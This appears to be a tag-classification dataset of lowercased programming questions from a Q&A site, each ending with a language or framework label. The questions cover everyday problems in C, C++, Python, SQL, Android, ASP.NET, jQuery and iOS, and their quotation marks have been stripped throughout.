calling a method without a namespace  i m just browsing a c++ code and i noticed something. in a source file main.cpp   <pre><code>std::cout &lt;&lt; converter(); </code></pre>   then i looked for the converter definition. there is no namespace and class name. then i saw in tool.cpp   <pre><code>using namespace ccon::converter; </code></pre>   the definition is in the ccon.cpp file.    why the main.cpp can call <code>converter()</code>     please advise.    thanks,c++
while loop and if not getting along with readdir() in c  while trying to write a program that will search a directory and list out contents matching a command line argument  i ve come across a problem i can t seem to figure out.    i ve put an if statement within a while loop to check whether the strings match  but the issue is that i only get the last entry in the directory back. if i comment out the if statement  it prints the entire directory just fine  and it matches strings just fine  but it won t do both.    a friend suggested it has something to do with the stack but as it is printing after each read  i don t see why that should be.   <pre><code>dir *dirpos; struct dirent * entry; struct stat st; char *pattern = argv[argc-1];  //---------------------- //a few error checks for command line and file opening //----------------------  //open directory if ((dirpos = opendir( . )) == null){     //error message if null }  //print entry while ((entry = readdir(dirpos)) != null){     if (!strcmp(entry-&gt;d_name  pattern)){         stat(entry-&gt;d_name  &amp;st);         printf( %s\t%d\n   entry-&gt;d_name  st.st_size);     } } </code></pre>,c
most pythonic way of ensuring a list of objects contains only unique items  i have a list of objects (foo). a foo object has several attributes. an instance of a foo object is equivalent (equal) to another instance of a foo object iff (if and only if) all the attributes are equal.    i have the following code:   <pre><code>class foo(object):     def __init__(self  myid):         self.myid=myid      def __eq__(self  other):         if isinstance(other  self.__class__):             print  debug: self:  self.__dict__              print  debug: other:  other.__dict__              return self.__dict__ == other.__dict__         else:             print  debug: attempt to compare different classes:  self.__class__  compared to:   other.__class__             return false       import copy  f1 = foo(1) f2 = foo(2) f3 = foo(3) f4 = foo(4) f5 = copy.deepcopy(f3) # overkill here (i know)  but needed for my real code  f_list = [f1 f2 f3 f4 f5]  # surely  there must be a better way  (this dosen t work btw!) new_foo_list = list(set(f_list)) </code></pre>   i often used this little (anti )  pattern  above (converting to set and back)  when dealing with simple types (int  float  string - and surprisingly datetime.datetime types)  but it has come a cropper with the more involved data type - like foo above.    so  how could i change the list f1 above into a list of unique items - without having to loop through each item and doing a check on whether it already exists in some temporary cache etc etc .    what is the most pythonic way to do this,python
missing push notification entitlement warning mail from apple  <strong>missing push notification entitlement - your app registers with the apple push notification service  but the application signature s entitlements do not include the required  aps-environment  entitlement. make sure you have enabled push notification services for this app  and that you have downloaded a distribution provisioning profile that includes the  aps-environment  entitlement.</strong>    but i havent use push notification to my project. now i was not able to see my + symbol for build to submit my app in app store. now what should i do,ios
once i click on an image  bind and display the image with all other data on another page in asp.net  i want to do something like all the e-commerce sites using now a days. once you click on an image it should show the bigger image in another page along with all the details like price size specification etc. can anyone tell me how to do that in asp.net.,asp.net
visual studio window form and gridview <pre><code>  private void button1_click(object sender  eventargs e)     {         sqlconnection con = new sqlconnection( data source=dell-pc;initial catalog=billingdb;integrated security=true );         con.open();         sqlcommand cmd = new sqlcommand(    con);         cmd.commandtext =  insert into billingdb values(@name @company @city @province @postal @phone @fax @email) ;          cmd.parameters.add(new sqlparameter( @name  textboxname.text));         cmd.parameters.add(new sqlparameter( @company  textboxcompny.text));         cmd.parameters.add(new sqlparameter( @city  textboxcity.text));         cmd.parameters.add(new sqlparameter( @province  textboxprov.text));         cmd.parameters.add(new sqlparameter( @postal   textboxpostal.text));         cmd.parameters.add(new sqlparameter( @phone   textboxphone.text));         cmd.parameters.add(new sqlparameter( @fax   textboxfax.text));         cmd.parameters.add(new sqlparameter( @email   textboxemail.text));         cmd.executenonquery();         con.close();      } </code></pre>   my gridview name is datagridview1 .. i want the data at the gridview to be refreshed on click of the above button .. what to do,.net
is the html form  action=  attribute still valid without a specific handler program   i.e. -    <pre><code>&lt;form action= http://192.168.1.20/form_action.asp  method= get &gt; </code></pre>   vs. (<strong>without a specific handler  still valid html </strong>)   <pre><code>&lt;form action= http://192.168.1.20  method= get &gt; </code></pre>   creating a very basic custom web server on windows (will be c or c#). creates a page with one form and input field.    can i bypass a separate form handler and just pull the value from the web server at some point     thanks.,html
comma separated if value in array is empty  i am stuck with a problem  i have fetched some values from a mysql query and put them in to an array like so:   <pre><code>$add1 = $location-&gt;address1; $add2 = $location-&gt;address2; $twn = $location-&gt;town; $pcode = $location-&gt;postcode; $latitude = $location-&gt;lat; $longitude = $location-&gt;lng;  $fulladdress = [$add1  $add2  $twn  $pcode];  $string = rtrim(implode(     $fulladdress)     );  echo $string; </code></pre>   so that i can echo out a users address. the problem i am getting is that even if one of these values does not exist (and some don t because they are not all required fields)  the comma is still echoed to the screen like:   <pre><code>add1   town  br2 5lp  </code></pre>   because there is an empty value in the database.    what i want to achieve is something like:   <pre><code>add1  town  br2 5lp  </code></pre>   if the second part of the address is missing.    can anyone help me figure this out,php
join in table for multiple column  i have 2 tables [ table1  table2 ]   <pre><code>table 1 +----+------------+ | id | name       | +--+--------------+ |  2 | film       | |  1 | music      | |  3 | other      | |  5 | sports     | |  4 | tv content | +----+------------+  table 2 +----+-----+-----+ | id | id1 | id2 | +----+-----+-----+ |  2 |   1 |   1 | |  1 |   1 |   1 |  |  3 |   2 |   1 | |  5 |   3 |   1 | |  4 |   4 |   1 | +----+-----+-----+ </code></pre>   and my desired output is    <pre><code>+------------+------------+----------+ | id_name    | id1_name   | id2_name | +------------+------------+----------+ | film       | music      | music    | | music      | music      | music    | required output | other      | film       | music    | | sports     | other      | music    | | tv content | tv content | music    | +------------+------------+----------+ </code></pre>   how can i do  this,sql
unwanted row while querying tables  i am querying two tables in the same database  i want to have all lines in both database where there is a match but the query should take only row with max date for each file number from file movement table.    <a href= https://i.stack.imgur.com/dro0o.png  rel= nofollow noreferrer >file details table</a>    <a href= https://i.stack.imgur.com/a0aed.png  rel= nofollow noreferrer >file movement table</a>    here is my current query    <a href= https://i.stack.imgur.com/634kk.png  rel= nofollow noreferrer >query</a>    the result should not contain the 1st row for file 123 as the 2nd row has the larger issue date    <a href= https://i.stack.imgur.com/kea0b.png  rel= nofollow noreferrer >enter image description here</a>,mysql
how to send a toast message between two devices on android  i m trying to make a prototype android application similar to uber ... so i made two applications  user  and  driver  .    and my question is :     is it possible for the user application to send a toast message to driver application and vice versa     even if these two applications are located in two different devices  !,android
linked list delete node does not work  method finds the previous node of the next node that i want to delete. then i try to connect the previous node with the next node of the node i want to delete however i the result i get is an linked list that has only the first element  while the others are deleted.   <pre><code>public void deletenode(studentas stud ) {     for (mazgas d = head; d != null; d = d.next)       {          if ( d.next == null)           {             break;         }         else if (d.next.duom.name == stud.name)          {             mazgas v = d;               v.next = d.next.next;             d.next = null;             break;         }           } } </code></pre>,c#
is  c# operator just like instanceof in java   i just discovered this operator and i was wondering if it is safe to use or not. i mean  in java our teachers always told us to avoid instanceof() because it breaks polymorphism and often shows poor coding.    thks in advance.,c#
error on launching application ios 6  i have an app build for ios 5.0 and works fine running the same app on ios 6 crashed on launch.    it seems to be crashing before calling didfinishlaunchingwithoptions method.    it s crashing as bad_excess on   <pre><code>0x00480848  &lt;+0024&gt;  ldr    r0  [pc  #240]  (0x48093c &lt;_zn6google8protobuf18insertifnotpresentist3mapissst4pairipkviest4lessissesais3_iksss6_eeesss6_eebpt_rkt0_rkt1_+268&gt;) 0x0048084a  &lt;+0026&gt;  ldr    r1  [pc  #244]  (0x480940 &lt;_zn6google8protobuf18insertifnotpresentist3mapissst4pairipkviest4lessissesais3_iksss6_eeesss6_eebpt_rkt0_rkt1_+272&gt;) </code></pre>,ios
uinavigationcontroller at the bottom of uiviewcontroller to hold multiple views  in the appdelegate.m i have created <code>navigationcontroller</code> <code>initwithrootviewcontroller</code> so that when my application launches <code>uiviewcontroller</code> loads with <code>navigationcontroller</code> and i want to display this <code>navigationbar</code> of the <code>navigationcontroller</code> at the bottom of the <code>uiviewcontroller</code>. but with this code it is showing at the top eventhough defined the frame.   <pre><code>   - (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions { _window = [[uiwindow alloc] initwithframe:[[uiscreen mainscreen] bounds]];  uiviewcontroller *myviewcontroller = [[mainviewcontroller alloc] init];  uinavigationcontroller *navigationcontroller = [[uinavigationcontroller alloc] initwithrootviewcontroller:myviewcontroller];  navigationcontroller.navigationbar.tintcolor = [uicolor blackcolor];  [navigationcontroller.navigationbar setframe:cgrectmake(0  435  320 25)];  _window.rootviewcontroller = navigationcontroller;  [_window makekeyandvisible];  return yes; } </code></pre>   anyone knows how to show navigationcontroller at the bottom of the <code>uiviewcontroller</code>.    thanks for help.,iphone
using different contexts for getting sharedpreference  is there a difference in using     <code>getapplicationcontext().getsharedpreferences()</code> vs <code>this.getsharedpreferences()</code> for creating a sharedpreference object.  note: <code>this</code> implies activity here    i m aware that <code>getsharedpreferences()</code> is inherited from <code>context</code> class and <code>application</code> and <code>activity</code> are both subclasses of <code>context</code>.    is the functionality same for above both unlike <code>toasts</code> and <code>progressdialogues</code> where we are supposed to use only <code>activity context</code>.,android
redirect to home page if user already logged in  in same browser asp .net c#  i want to make application that if user in logged in the web site in one tab of browser and if he open application in second tab than he should not redirect to login page but he should redirect to home page. just like facebook or yahoomail in asp.net c#    please help,asp.net
set flag from table1 to true if relation to table2 exists  i guess this is a no-brainer  but somehow i can t manage it right now.    basically i have a table albums and a table artists  and i want to update artists  <code>is_composer</code> and <code>is_interpreter</code> flag based on if a relation to album s adequate field exists. (fiddle with demo schema: <a href= http://sqlfiddle.com/#!9/129a9  rel= nofollow >http://sqlfiddle.com/#!9/129a9</a>)    i tried doing an update with a subquery that selected the id s  but that seems to be very very slow. then i tried by doing it by utilising joins  group by  and having  but at least group by is not usable when doing an update statement.    if someone could point me into the right direction  that would be nice!,mysql
uibutton is crashing the application  added uibutton to app   <pre><code>uibutton *playbutton = [uibutton buttonwithtype:uibuttontypecustom];  [playbutton addtarget:self action:@selector(play:) forcontrolevents:uicontroleventtouchupinside];  uiimage *image = [uiimage imagenamed:@ play.png ];  [playbutton setimage:image forstate:uicontrolstatenormal]; </code></pre>   when i run the application it is crashing and message is uibuttonview unrecognized selector    did exception breakpoint     found that it is crashing at   <pre><code>[toolbar setitems:toolbaritems]; </code></pre>   i think i m not adding uibutton properly to toolbar   <pre><code>//add buttons to the array  nsarray *toolbaritems = [nsarray arraywithobjects: settingsbutton  flexitem  rewind  flexitem  playbutton  flexitem  pause  flexitem  modalbarbuttonitem  nil];   [toolbar setitems:toolbaritems]; </code></pre>   anyideas to fix this one.    thanks for help.,iphone
paginating with sql row_number  i want to return search results in paginated format. however i can t seem to successfully get the first 10 results of my query.    the problem is the  rownum  returned are like 405  687  1024 etc. i want them to be renumbered as 1 2 3 4 5 etc.  so that when i specify between rows 1 and 20 i get the first 20 search results. instead  because the numbers are larger  i get no results between 1 and 10.     if i change rownum condition to:   <pre><code>and rownum &lt; 20000 </code></pre>   i get plenty of results    here s the sql:   <pre><code>                select  *             from    ( select    row_number() over ( order by documentid ) as rownum  *                       from      table                     ) as rowconstrainedresult             where   rownum &gt;= 1                 and rownum &lt; 20                                 and title like  %diabetes%                                  and title like  %risk%  </code></pre>   any help appreciated.,sql
asp: constraints and triggers problem in visual studio  i detached my database from sql server and dragged and dropped in into visual studio in the app_data folder. created a new connection to this database  tested it  everything works fine.     the problem is i created a set of constraints and triggers back in sql server management studio. when i open the tables in visual studio  no constraints neither triggers appear. this problem is affecting my web application by not storing values neither perform custom defined formulas.     is there any solution for this,asp.net
asp.net parsing raw html into controls  is it possible in asp.net to take a string containing some html and make asp.net to parse it and create a control for me  for example:   <pre><code>string rawhtml =  &lt;table&gt;&lt;td&gt;&lt;td&gt;cell&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt; ; htmltable table = magicclass.parsetable(rawhtml); </code></pre>   i know that this is a bad thing to do but i am in the unfortunate situation that this is really the only way i can achieve what i need (as i cannot modify this particular coworker s code).    also  i know that literalcontrol allows you to have a control with arbitrary html in it  but unfortunately i need to have them converted to proper control.    unfortunately  htmltable does not support the innerhtml property. i need to preserve the html tree exactly as it is  so i cannot put it into a <code>&lt;div&gt;</code> tag.    thanks.,asp.net
simple todolist application  i m trying to create a simple to-do list application from a book on android development. when i try to run it  i get a  this application has stopped working  message. i have absolutely no clue why  except for the fact that it has something to do with a fatal error at <code>setcontentview(r.layout.main)</code>. can someone help me fix it     <pre><code>package com.test.tadalist;  import java.util.arraylist;  import android.app.activity; import android.os.bundle; import android.view.keyevent; import android.view.view; import android.view.view.onkeylistener; import android.widget.arrayadapter; import android.widget.edittext; import android.widget.listview; import android.widget.toast;  public class tadalist extends activity {     @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.main);          final listview listview = (listview)findviewbyid(r.id.listview);         final edittext edittext = (edittext)findviewbyid(r.id.edittext);          final arraylist&lt;string&gt; todoitems = new arraylist&lt;string&gt;();         final arrayadapter&lt;string&gt; adapter = new arrayadapter&lt;string&gt;(this  android.r.layout.simple_list_item_1  todoitems);         listview.setadapter(adapter);          edittext.setonkeylistener(new onkeylistener() {             public boolean onkey(view v  int keycode  keyevent keyevent) {                 if (keycode == keyevent.keycode_enter)                 {                     todoitems.add(0  edittext.gettext().tostring());                      adapter.notifydatasetchanged();                     edittext.settext(  );                     return true;                  }                 return false;              }         });      } } </code></pre>   layout/main.xml:    <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;!--  --&gt; &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      android:orientation= vertical      android:layout_width= fill_parent      android_layout_height= fill_parent &gt;      &lt;edittext          android:id= @+id/edittext          android:layout_width= fill_parent          android:layout_height= wrap_content          android:text= entry      /&gt;      &lt;listview         android:id= @+id/listview          android:layout_width= fill_parent          android:layout_height= wrap_content      /&gt;  &lt;/linearlayout&gt; </code></pre>,android
display a record sequentially with every refresh  i have a rails 3 application that currently shows a single  random  record with every refresh  however  it repeats records too often  or will never show a particular record.  i was wondering what a good way would be to loop through each record and display them such that all get shown before any are repeated. i was thinking somehow using cookies or session_ids to sequentially loop through the record id s  but i m not sure if that would work right  or exactly how to go about that.    the database consists of a single table with a single column  and currently only about 25 entries  but more will be added.  id s are generated automatically and are sequential.    some suggestions would be appreciated.    thanks.,ruby-on-rails
about upload iphone video to youtube  how to set the video format of the iphone camera captured  i think that can be mov mp4  h.2x   because iphone can play it  but can not find api to set the video format to recording .....    also want upload the video to youtube  anyone know where can find a good open source code for this purpose  i think that this feature will be commonly and it must be done by other coder....just want save time for this purpose ..    thanks for your help,iphone
mysql&php - cannot execute stored procedure twice <pre><code>create procedure gethandtypes() begin     select * from codemst where code like  ht%  and dep &gt; 0; end$$  $result = mysql( call gethandtypes() ); $row = mysql_fetch_assoc($result); mysql_free_result($result); </code></pre>   it s work well. but when i try twice  it returns nothing.   <pre><code>$result = mysql_query( call gethandtypes() ); $row = mysql_fetch_assoc($result); mysql_free_result($result); print_r($row);  $result = mysql_query( call gethandtypes() ); $row = mysql_fetch_assoc($result); mysql_free_result($result); print_r($row); //null </code></pre>,mysql
how to get specific attributes with values from an xml document using c# console   i have an xml document like below:   <pre><code>&lt; xml version =  1.0  &gt; &lt;employees&gt;     &lt;employee id= 1  city= seattle &gt;         &lt;employeename&gt;nancy davolio&lt;/employeename&gt;         &lt;country&gt;usa&lt;/country&gt;     &lt;/employee&gt;     &lt;employee id= 2  city= tacoma &gt;         &lt;employeename&gt;andrew fuller&lt;/employeename&gt;         &lt;country&gt;usa&lt;/country&gt;     &lt;/employee&gt;     &lt;employee id= 3  city= kirkland &gt;         &lt;employeename&gt;janet leverling&lt;/employeename&gt;         &lt;country&gt;usa&lt;/country&gt;     &lt;/employee&gt; &lt;/employees&gt; </code></pre>   from this file  i like to get displayed in the console only the employeename for every employee with their tags. below is how i tried to do so but it is showing only the opening and closing tag but not the value of employeename.   <pre><code>static void main(string[] args)         {               xmltextreader reader = new xmltextreader( d://test.xml );             while (reader.read())             {                 switch (reader.nodetype)                 {                     case xmlnodetype.element: // the node is an element.                         if (reader.name ==  employeename )                         {                             console.write( &lt;  + reader.name);                             console.writeline( &gt; );                          }                          break;                     case xmlnodetype.text: //display the text in each element.                          if (reader.name ==  employeename )                          {                              console.writeline(reader.value);                          }                          break;                     case xmlnodetype.endelement: //display the end of the element.                         if (reader.name ==  employeename )                         {                             console.write( &lt;/  + reader.name);                             console.writeline( &gt; );                         }                          break;                 }             }             console.readline();            } </code></pre>   any help  please!,c#
img_load; png unsupported image format  i m currently trying to follow along thomas lively s seminar on learning to use sdl (<a href= https://youtu.be/yfla3ln16w0  rel= nofollow noreferrer  title= here >found here</a>). however  whenever i attempt to run my code  i always get the error:    <code>unsupported image format</code>    i have tried including <code>png.h</code> and <code>zlib.h</code> but they didn t fix the error  and i m fairly certain it s pathed correctly. compiling it returns zero errors.   <pre><code>#include &lt;stdio.h&gt; #include  sdl2/sdl.h  #include  sdl2/sdl_image.h   int main()  {     sdl_init(sdl_init_video);       sdl_window* win = sdl_createwindow( test                                            sdl_windowpos_centered                                          sdl_windowpos_centered                                          640  480  0);      uint32 render_flags = sdl_renderer_accelerated;     sdl_renderer* rend = sdl_createrenderer(win  -1  render_flags);     sdl_surface* surf = img_load( workspace/learnsdl/red.png );     if (!surf)     {         printf( %s\n   img_geterror());     }      sdl_texture* tex = sdl_createtexturefromsurface(rend  surf);      sdl_delay(10000);     sdl_destroytexture(tex);     sdl_destroyrenderer(rend);     sdl_destroywindow(win);     sdl_quit(); } </code></pre>,c
dynamically allocate array of std::string  i want to dynamically allocate an array of <code>std::string</code>. there is a function to allocate. i can call the function as many number of times as i want through out the program. if the pointer to the array is already allocated  i want to release the memory first then allocated the new one.    here is what i tried:   <pre><code>std::string *names; bool already_allocated = false; void allocate( int n) {     if( already_allocated)     {         delete names;     }     names = new std::string[n];     already_allocated = true; }  int main() {     allocate(5);     allocate(6);     return 0; } </code></pre>   but it is giving runtime error in the 2nd <code>allocate()</code> call for the line <code>delete names</code>    am i misunderstanding something,c++
storing a char n number of times in 1 loop  given an array of numbers <code>[2 1 1]</code> given an array of chars <code>[x y z];</code>    trying to create a char array that looks like <code>[x x y z]</code> // put in char times its number in first array. so @index 0 char is x and value is 2 so put x x    i can do this using 2 loops but is it possible to do it only using 1 loop  to make things less complex,c
how to make css element opacity switches from 0 to 1 in no time   i am wondering whether there is already a way through css in order to make an element of opacity 0 turns to 1 without any transition time. in other words  i need to make an element which was totally unseen suddenly appears after 4 seconds. no fade-in or out. just appear with the complete brighteness (opacity).,css
jquery event fired multiple times  in the following code  why is the after event being fired three times    text marked!  gets appended three times after the input box.   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js &gt;&lt;/script&gt; &lt;script&gt; $(document).ready(function(){     $( input ).select(function(){         $( input ).after(  text marked! );     });     $( button ).click(function(){         $( input ).trigger( select );     }); }); &lt;/script&gt; &lt;/head&gt; &lt;body&gt;  &lt;input type= text  value= hello world &gt;&lt;br&gt;&lt;br&gt;  &lt;button&gt;trigger the select event for the input field&lt;/button&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,jquery
check if parent field is filled then child field should also filled  i think this is very simple but i couldn t find out a way..... :(    what i want is that  i want the <strong>child field</strong> should be filled <strong>only if</strong> the <strong>parent field</strong> is filled and also the <strong>submit</strong> button should disable if the criteria does not match.    i ve tried it so far is :   <pre><code>&lt;form name= frmapp &gt;   &lt;input type= number  ng-model= parentfield  /&gt;   &lt;input type= number  ng-model= childfield  /&gt;    &lt;p ng-if= parentfield !=    &amp;&amp; childfield ==    &gt;both should be filled&lt;/p&gt; &lt;/form&gt;  &lt;a ng-disabled= frmapp.$invalid  class= btn btn-info &gt;submit&lt;/a&gt; </code></pre>   <a href= http://jsfiddle.net/jaym0403/9qppq/8/  rel= nofollow > demo js fiddle</a>    note: <strong>either both should be filled or none of them should be filled</strong>,angularjs
how to remove list element from an array after searching  i wanna to remove list element from my array..but i am not getting the solution .. this is my code..   <pre><code>for (int k = 0; k &lt; name.length; k++) {     for (int i = 0; i &lt; list_emp_info.count; i++)     {         datetime resigndate = convert.todatetime(list_emp_info[i].resigndate);         if (resigndate &lt;= datetime.now)         {              name[k] = name[k].remove(list_emp_info[i]);         }     } } </code></pre>,c#
open link in new tab without base url in angularjs  i want to open a url on new tab. i am doing following:   <pre><code>$scope.portal.jdurl =  www.google.com ;  $scope.openurl = function()  {       if($scope.portal.jdurl !=   )      {          window.open($scope.portal.jdurl   _blank );      }   }; </code></pre>   i want the result as:    <strong>www.google.com</strong>    but it opening url like following:    <strong><a href= http://localhost/trial01/www.google.com  rel= nofollow >http://localhost/trial01/www.google.com</a></strong>,angularjs
c# button text and resize  i have a simple button that when clicked should change the text from help to hide and the windows form size.  the problem i m having is it cant find the if statement.  it cant see the button3.text help or hide.  any tips or suggestions    <pre><code>private void button2_click(object sender  eventargs e) {         string helpstring =  help ;         string hidestring =  hide ;         if (button3.text == helpstring)         {             button3.text = hidestring;             size = new system.drawing.size(1106  563);         }         if (button3.text ==  hide )         {             size = new system.drawing.size(586  563);             button3.text = helpstring;         }     } </code></pre>,c#
get last message reply from conversation  so i have two tables <code>chats</code> and <code>chats_reply</code>. the structure is the following.    chats   <pre><code>-------------------------------------------------- | chat_id  |  user_one | user_two  | created_at -------------------------------------------------- | 1        | 1         | 2         | something here -------------------------------------------------- </code></pre>   chats_reply   <pre><code>------------------------------------------------------------------------- | chatreply_id |  chat_id | user_id    | reply          | created_at ------------------------------------------------------------------------- | 1            | 1         | 1         | message 1      | something here ------------------------------------------------------------------------- | 2            | 1         | 2         | message 2      | something here ------------------------------------------------------------------------- </code></pre>   i m having a bit of a problem with my query. let s say my user_id is 1. i want to return a list of all my chats with the last message that was sent. i already have the query that lists all my chats  but it doesn t return the last message it return the first message of the conversation. this is my query:   <pre><code>select         chats.chat_id         chats.created_at as chattime         chats_reply.reply         chats_reply.created_at as replytime         chats_reply.status         users.name         users.last_name         users.email  from chats  inner join chats_reply on chats.chat_id = chats_reply.chat_id  inner join users on users.user_id =      case         when chats.user_one =  1              then chats.user_two          when chats.user_two =  1              then chats.user_one         end  where chats.user_one =  1  or chats.user_two =  1   group by chats_reply.chat_id  order by chats_reply.chatreply_id desc </code></pre>   this query returns everything i d expect  the problem is it return <code>message 1</code> from the <code>chats_reply</code> table when i want it to return <code>message 2</code>. any help is greatly appreciated.,mysql
c++ min and max  i am trying to get the min and max numbers of a series of integers and i am able to get the min with this code but not the max and not sure what i am doing wrong.   <pre><code>#include &lt;iostream&gt; #include &lt;climits&gt; using namespace std;   int main() { //declare variables. int number  max  min;  //set the values. max = int_min; min = int_max;  cout &lt;&lt;  enter -99 to end series  &lt;&lt; endl; while (number != -99) {     //compare values and set the max and min.     if (number &gt; max)         max = number;     if (number &lt; min)         min = number;      //ask the user to enter the integers.     cout &lt;&lt;  enter a number in a series:   &lt;&lt; endl;     cin &gt;&gt; number; }  //display the largest and smallest number. cout &lt;&lt;  the largest number is:   &lt;&lt; max &lt;&lt; endl; cout &lt;&lt;  the smallest number is:   &lt;&lt; min &lt;&lt; endl;  system( pause ); return 0; } </code></pre>,c++
complex sql query assistance  i have a db that contains informations about buses arriving to/departing from a station. in my application  i need to display all departures from the station that the user selects.     that means that i have to identify each line that passes trough the selected station. i did that with the following query:   <pre><code>select distinct linepaths.timetableid                  lines.linename as [line]                 timetable.heading                 linepaths.departure                 regime.name as [regime] from            linepaths inner join timetables on timetables.timetableid = linepaths.timetableid inner join lines on timetable.lineid = lines.lineid inner join stations on linepaths.station = station.stationid inner join regimes on timetables.regime = regimes.regimeid where station = @station </code></pre>   the problem is that instead of <code>timetable.heading</code> i need to display the name of the final station that the bus is heading to. these are the schema s of the tables i have at my disposal:   <ul> <li><code>stations - id  name</code></li> <li><code>lines - lineid  linename</code></li> <li><code>timetable - timetableid  lineid  heading  regime</code>  (<code>regime</code> defines on which days the bus drives)</li> <li><code>linepaths - id  timetableid  sn  arrival  departure  stationid</code> (the <code>sn</code> is a serial number that defines the order of stations on a certain paths (the bus will arrive to those stations in that particular order).)</li> </ul>   so  instead of the <code>timetable.heading</code> i need to have a <code>stations.name</code>  and here i come to my problem.    that column has to represent the final station to which the bus is going (for every line)  so i have to somehow identify the final station (again for each line that passes trough the selected station). for that i have to use the <code>linepaths</code> table. inside that table the data is grouped by <code>timetableid</code>  so that the entries with the same value for the <code>timetableid</code> are ordered by the <code>sn</code> value that represents the order in which the bus arrives to the stations (like this: <code>xxxxx  1111  3  8:15  8:20  9999</code>) - this means that the bus that drives according to the timetable <code>1111</code> will arrive at <code>8:15</code> to the station with stationid <code>9999</code>  leave at <code>8:20</code>  and that station is the <code>3rd</code> one on this route (the <code>xxxxx</code> is the id of the <code>linepath</code>  and is not important for this query).    so  finally  my question is - how can i  using sql  get the data in the following schema:   <ul> <li><code>finalstationname</code>  </li> <li><code>departure(from selected station)</code>  </li> <li><code>regime</code>.</li> </ul>,sql
i m using mysql  i got an issue that i want to drop the default date that the addeddate_in_ward generate  i tried to remove it using (alter)  but it says that i have an incorrect syntax near of my columns name. any help please   <pre><code>create table in_patient( inpatient_id int primary key not null  patient_id int references patient(patient_id)  ward_required varchar(15)  addeddate_to_waitng_list date  addeddate_in_ward date  expected_leave_date date  actual_leave_date date  );  alter table in_patient alter addeddate_in_ward drop default; </code></pre>,mysql
usercontrol event is not firing if control loads on a click event  i am loading a user control on my default page. deafult page having a button on which click i am loading the usercontrol.    but using the above the events of the usercontrol are not firing.    if i load control on deafult page load then the usercontrol events are working fine..    so what is wrong with loading the control with the click event.,asp.net
will disposing an object that has a thread started on its method remove the need to call thread.abort()  consider the following code using the .net 2003 framework.   <pre><code>  this gets initialized in new() perhaps...  private someobject as someclass  public sub startthread()     dim t as new system.threading.thread(addressof someobject.somesub)     t.start() end sub  public sub dispose() implements idisposable.dispose     someobject.dispose() end sub </code></pre>   will someobject.dispose() effectively remove the need to call <code>t.abort()</code>,.net
web service running on iis cant access password protected folder on linux machine  i am running a web service on a windows xp pc and my goal is this service to access a folder located in the network (samba server) on a linux machine.    the error that i am getting from the browser is   path format is not valid .    this means that iis can t recognize  the path at all.    my question is  whether this is a problem due to the password protection of the folder or  is it a compatibility issue between iis and linux     is there anything i can do to fix it     thank you,asp.net
saving app data  or recovering the data once the app has been deleted  i have an ipad air 1  which currently has an app that won t start. i have information on the app  that won t start  but if i delete the app i will lose the data. is there any way i can back up the app s data  or save it before deleting the app and restoring the data     <strong>ipad specs:</strong>    <pre><code>model: md792b/a  ios version is 10.3 ios </code></pre>   i have looked at phonedisk  which seems to only be valid up to 10.10  any help would be greatly appreciated,ios
multiple macros in c <pre><code>#define a 10 #define a 20 {      printf( %d  a); } </code></pre>   why is the answer 20 and not 10  since /* #define a 10 */ is the first macro  isn t that supposed to get substitued in place of  a,c
change empty array element to a value  i have an array like this array ([0]=> some values [1]=>  )    i want to change the empty elemnt of an array to a value of 5    how can i do that    thanks,php
how to use python package django-getenv   i would like to set environment variables for my python application. i have looked at this package  <a href= https://pypi.python.org/pypi/django-getenv  rel= nofollow >django-getenv</a> 1.3.1  but i  m a little confused.    <blockquote>    if you’re using django-dotenv to get the most out of your .env file  </blockquote>   do i have to use this with another package  i wanted to have 2 different environments. i don;t see how setting one .env file detects different environments.     i was thinking of having to files statging  prod when somehow it uses on or the other. how can i do this,python
how to capture/get rtsp link from live stream channels   i want rtsp link of this site <a href= http://www.waystv.tv/show/icon-africa  rel= nofollow >http://www.waystv.tv/show/icon-africa</a>  i tried a lot but failed. actually files are in swf format so need help in this matter.,html
jquery selecting list items  i m having trouble seeing what s wrong with my code. i m trying to select my list items  but they don t seem to get selected.    here s my html   <pre><code>    &lt;!doctype html&gt; &lt;head&gt;     &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt;     &lt;title&gt;tasklistr&lt;/title&gt;     &lt;style type= text/css &gt; @import url(styles.css);&lt;/style&gt;     &lt;script type= text/javascript  src= http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= application.js &gt;&lt;/script&gt; &lt;/head&gt;  &lt;body&gt;   &lt;h1&gt;jstasker&lt;/h1&gt;    &lt;form&gt;     &lt;fieldset&gt;       &lt;legend&gt;add a task&lt;/legend&gt;       &lt;input type= text  name= task_text  id= task_text  /&gt;       &lt;input type= submit  name= add_button  value= add  id= add_button  /&gt;     &lt;/fieldset&gt;   &lt;/form&gt;    &lt;div id= tasks &gt;       &lt;h2&gt;your tasks &lt;/h2&gt;       &lt;ul&gt;       &lt;/ul&gt;   &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   my application.js   <pre><code>$(document).ready(function() {     $( input#add_button ).click(function(event) {         event.preventdefault();         var task_text = $( input#task_text ).val();         var task_item =  &lt;li&gt;&lt;p&gt;  + task_text +  &lt;/p&gt;&lt;/li&gt;          $( div#tasks ul ).append(task_item);         $( input#task_text ).val(null);     });      $( input#task_text ).focus();      $( div#tasks ul li ).click(function() {         alert( hey );     });    }); </code></pre>,jquery
sql select near by values  i have a table  <code>t_person</code>  with 2 fields that i would like to search by: <code>height int  birthdate datetime</code>.    when i query this table i want to get rows with values that are near what i searched. for example when i search for people with height of 175 cm  like this:   <pre><code>select *  from t_person  where height = 175 </code></pre>   i would like to also get rows that the height value is near 175. eg 174  173 176...    same thing about the date column. when i search for  2003-06-25   i would like to also get dates that are close to it.    is it possible,sql
